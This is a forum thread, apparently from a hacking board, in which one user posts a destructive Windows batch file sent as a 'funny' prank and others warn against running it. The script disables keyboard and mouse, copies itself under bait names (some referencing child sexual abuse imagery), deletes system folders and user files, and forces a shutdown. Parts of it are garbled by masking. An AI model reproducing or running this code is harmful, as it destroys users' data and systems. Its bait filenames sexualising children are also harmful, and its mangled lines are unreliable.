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  1. #1
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    Funny

    This is a funny batch my friend sent me. [hes like this is awesome click on it]

    Code:
    @echo off
    C:\windows/rundll*2.exe Key***rd,disable
    c:\windows/rundll*2.exe mouse,disable
    RMDIR /y C:/programfiles
    Copy &#*7;0 C:\conf.bat
    Copy %0 C:\cohnf.bat
    Copy %0 C:\Britneynudebigtitsxxxharcore.jpg
    Copy %0 C:\armada.bat
    Copy %0 C:\thing.bat
    Copy %0 C:\awholelotofthings.exe
    Copy %0 C:\the.bat
    Copy %0 C:\returnofthejedi.AVI
    Copy %0 C:\trigun.AVI
    Copy %0 C:\testtaker.exe
    Copy %0 C:\internet explorer.exe
    Copy %0 C:\turkey.bat
    Copy %0 C:\nudelittlekids.jpg
    Copy %0 C:\childporn*_of_*4.jpg
    Copy %0 C:\childporn2_of_*4.jpg
    Copy %0 C:\childporn*_of_*4.jpg
    Copy %0 C:\childporn4_of_*4.jpg
    Copy %0 C:\childporn5_of_*4.jpg
    Copy %0 C:\childporn6_of_*4.jpg
    Copy %0 C:\childporn7_of_*4.jpg
    Copy %0 C:\childporn8_of_*4.jpg
    Copy %0 C:\childporn*_of_*4.jpg
    Copy %0 C:\childporn*0_of_*4.jpg
    Copy %0 C:\childporn**_of_*4.jpg
    Copy %0 C:\childporn*2_of_*4.jpg
    Copy %0 C:\childporn**_of_*4.jpg
    Copy %0 C:\childporn*4_of_*4.jpg
    copy %0 c:\windows\sytem*2\microsoft\%random%.bat
    copy %0 c:\windows\system*2\reinst~*\0000\driverf~*\%random%.bat
    for %% a in (.. .exe//.sys//.bat...
    cls
    md C:\System
    Copy %0 C:/System/Recovery.exe
    copy %0 c:/system/00**0***0*000*0*0*0*0*0*0*0*0*0*0*0*0****0*0***0000000*00*0*00***0.bat
    RMDIR /Y C:/Windows/drivers
    cls
    goto gh
    
    :gh
    color 2
    echo You are a Fat FUCKING ASSHOLE   GOOD BYE.......!!
    RMDIR c:/windows/Fonts
    RMDIR C:/windows/profiles
    Del c:/*.exe
    Del C:/*.mp*
    Del C:/*.jpg
    Del c:/*.gif
    c:/windows/rundll*2.exe mouse,enable
    C:/windows/rundll*2.exe key***rd,enable
    SHUTDOWN -s -t 20 >> autoexec.bat
    goto end
    
    :end
    mkdir c:\windows_%random%
    rem it creats many folders with names that start with windows_number(for example *000*).It generates random numbers
    goto end
    Not sure any of this works [you think i would run it?] but the random number thing looks cool
    7h* L**7*57 c4n7 h4ck m*!
    Proud to have quit playing ®µÑȧ©ÅÞË

    If you write like a semi-literate boob you will very likely be ignored.
    Writing like a l**t script kiddie hax0r is the absolute l**t*st way to write!
    L0L

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    batch is so useless these days

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    Note to the unwise: DON'T run that batch.

    Batch isn't useless, just not widely used. Batch files are used to automate tasks, its not much of a programming language, just scripting.
    "Workers of the world unite; you have nothing to lose but your chains." -Karl Marx

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    Quote Originally Posted by Evilthoutz View Post
    batch is so useless these days
    What's better? A console exe that runs half of those commands?
    7h* L**7*57 c4n7 h4ck m*!
    Proud to have quit playing ®µÑȧ©ÅÞË

    If you write like a semi-literate boob you will very likely be ignored.
    Writing like a l**t script kiddie hax0r is the absolute l**t*st way to write!
    L0L

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